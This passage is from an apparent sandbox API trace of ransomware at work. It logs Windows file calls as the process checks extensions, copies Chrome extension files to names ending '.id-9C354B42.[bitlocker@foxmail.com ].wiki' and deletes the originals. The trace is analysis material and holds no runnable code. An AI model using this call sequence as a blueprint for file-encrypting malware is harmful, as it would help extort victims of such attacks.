(lpString1=".zip", lpString2="json") returned -1 [0177.597] lstrlenW (lpString=".rar") returned 4 [0177.597] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.597] lstrlenW (lpString=".bz2") returned 4 [0177.597] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.597] lstrlenW (lpString=".7z") returned 3 [0177.597] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.597] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 151 [0177.597] lstrlenW (lpString=".dbf") returned 4 [0177.597] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.597] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 151 [0177.597] lstrlenW (lpString=".1cd") returned 4 [0177.598] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 151 [0177.598] lstrlenW (lpString=".jpg") returned 4 [0177.598] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 151 [0177.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 151 [0177.598] lstrlenW (lpString=".doc") returned 4 [0177.598] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.598] lstrlenW (lpString=".docx") returned 5 [0177.598] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.598] lstrlenW (lpString=".pdf") returned 4 [0177.598] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.598] lstrlenW (lpString=".xls") returned 4 [0177.598] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.598] lstrlenW (lpString=".xlsx") returned 5 [0177.598] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.598] lstrlenW (lpString=".ppt") returned 4 [0177.598] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 151 [0177.598] lstrlenW (lpString=".zip") returned 4 [0177.598] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.598] lstrlenW (lpString=".rar") returned 4 [0177.598] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.598] lstrlenW (lpString=".bz2") returned 4 [0177.598] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.598] lstrlenW (lpString=".7z") returned 3 [0177.598] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 151 [0177.598] lstrlenW (lpString=".dbf") returned 4 [0177.598] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.598] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 151 [0177.599] lstrlenW (lpString=".1cd") returned 4 [0177.599] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.599] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 151 [0177.599] lstrlenW (lpString=".jpg") returned 4 [0177.599] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.599] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.599] lstrlenW (lpString="computed_hashes.json") returned 20 [0177.599] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.600] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=2803) returned 1 [0177.600] CloseHandle (hObject=0x19c) returned 1 [0177.600] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json")) returned 0x2020 [0177.600] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.600] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.600] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.600] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.600] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.088] GetLastError () returned 0x0 [0178.088] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xaf3, lpOverlapped=0x0) returned 1 [0178.090] WriteFile (in: hFile=0x160, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xb00, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xb00, lpOverlapped=0x0) returned 1 [0178.091] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.091] WriteFile (in: hFile=0x160, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0178.091] SetEndOfFile (hFile=0x160) returned 1 [0178.091] CloseHandle (hObject=0x160) returned 1 [0178.091] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.091] SetEndOfFile (hFile=0x19c) returned 1 [0178.092] CloseHandle (hObject=0x19c) returned 1 [0178.092] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.093] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json")) returned 1 [0178.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 156 [0178.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 156 [0178.093] lstrlenW (lpString=".doc") returned 4 [0178.093] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.093] lstrlenW (lpString=".docx") returned 5 [0178.093] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.093] lstrlenW (lpString=".pdf") returned 4 [0178.093] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.093] lstrlenW (lpString=".xls") returned 4 [0178.093] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.093] lstrlenW (lpString=".xlsx") returned 5 [0178.093] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.093] lstrlenW (lpString=".ppt") returned 4 [0178.093] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 156 [0178.093] lstrlenW (lpString=".zip") returned 4 [0178.093] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.093] lstrlenW (lpString=".rar") returned 4 [0178.093] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.093] lstrlenW (lpString=".bz2") returned 4 [0178.094] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.094] lstrlenW (lpString=".7z") returned 3 [0178.094] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 156 [0178.094] lstrlenW (lpString=".dbf") returned 4 [0178.094] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 156 [0178.094] lstrlenW (lpString=".1cd") returned 4 [0178.094] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 156 [0178.094] lstrlenW (lpString=".jpg") returned 4 [0178.094] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 156 [0178.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 156 [0178.094] lstrlenW (lpString=".doc") returned 4 [0178.094] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.094] lstrlenW (lpString=".docx") returned 5 [0178.094] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.094] lstrlenW (lpString=".pdf") returned 4 [0178.094] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.094] lstrlenW (lpString=".xls") returned 4 [0178.094] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.094] lstrlenW (lpString=".xlsx") returned 5 [0178.094] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.094] lstrlenW (lpString=".ppt") returned 4 [0178.094] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 156 [0178.094] lstrlenW (lpString=".zip") returned 4 [0178.094] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.094] lstrlenW (lpString=".rar") returned 4 [0178.095] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.095] lstrlenW (lpString=".bz2") returned 4 [0178.095] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.095] lstrlenW (lpString=".7z") returned 3 [0178.095] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.095] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 156 [0178.095] lstrlenW (lpString=".dbf") returned 4 [0178.095] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.095] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 156 [0178.095] lstrlenW (lpString=".1cd") returned 4 [0178.095] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.095] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 156 [0178.095] lstrlenW (lpString=".jpg") returned 4 [0178.095] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.095] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0178.095] lstrlenW (lpString="topbar_floating_button_hover.png") returned 32 [0178.095] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.096] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=160) returned 1 [0178.096] CloseHandle (hObject=0x19c) returned 1 [0178.096] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png")) returned 0x2020 [0178.096] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.096] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.096] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.096] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.096] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.097] GetLastError () returned 0x0 [0178.097] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xa0, lpOverlapped=0x0) returned 1 [0178.098] WriteFile (in: hFile=0x160, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0178.099] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.099] WriteFile (in: hFile=0x160, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x114, lpOverlapped=0x0) returned 1 [0178.099] SetEndOfFile (hFile=0x160) returned 1 [0178.099] CloseHandle (hObject=0x160) returned 1 [0178.099] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.099] SetEndOfFile (hFile=0x19c) returned 1 [0178.100] CloseHandle (hObject=0x19c) returned 1 [0178.100] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.100] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png")) returned 1 [0178.100] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 169 [0178.100] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 169 [0178.100] lstrlenW (lpString=".doc") returned 4 [0178.100] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0178.100] lstrlenW (lpString=".docx") returned 5 [0178.100] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0178.100] lstrlenW (lpString=".pdf") returned 4 [0178.100] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0178.101] lstrlenW (lpString=".xls") returned 4 [0178.101] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0178.101] lstrlenW (lpString=".xlsx") returned 5 [0178.101] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0178.101] lstrlenW (lpString=".ppt") returned 4 [0178.101] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0178.101] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 169 [0178.101] lstrlenW (lpString=".zip") returned 4 [0178.101] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0178.101] lstrlenW (lpString=".rar") returned 4 [0178.101] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0178.101] lstrlenW (lpString=".bz2") returned 4 [0178.101] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0178.101] lstrlenW (lpString=".7z") returned 3 [0178.101] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0178.101] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 169 [0178.101] lstrlenW (lpString=".dbf") returned 4 [0178.101] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0178.101] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 169 [0178.101] lstrlenW (lpString=".1cd") returned 4 [0178.101] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0178.101] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 169 [0178.101] lstrlenW (lpString=".jpg") returned 4 [0178.101] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0178.101] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 169 [0178.101] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 169 [0178.101] lstrlenW (lpString=".doc") returned 4 [0178.101] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0178.102] lstrlenW (lpString=".docx") returned 5 [0178.102] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0178.102] lstrlenW (lpString=".pdf") returned 4 [0178.102] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0178.102] lstrlenW (lpString=".xls") returned 4 [0178.102] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0178.102] lstrlenW (lpString=".xlsx") returned 5 [0178.102] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0178.102] lstrlenW (lpString=".ppt") returned 4 [0178.102] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0178.102] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 169 [0178.102] lstrlenW (lpString=".zip") returned 4 [0178.102] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0178.102] lstrlenW (lpString=".rar") returned 4 [0178.102] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0178.102] lstrlenW (lpString=".bz2") returned 4 [0178.102] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0178.102] lstrlenW (lpString=".7z") returned 3 [0178.102] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0178.102] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS 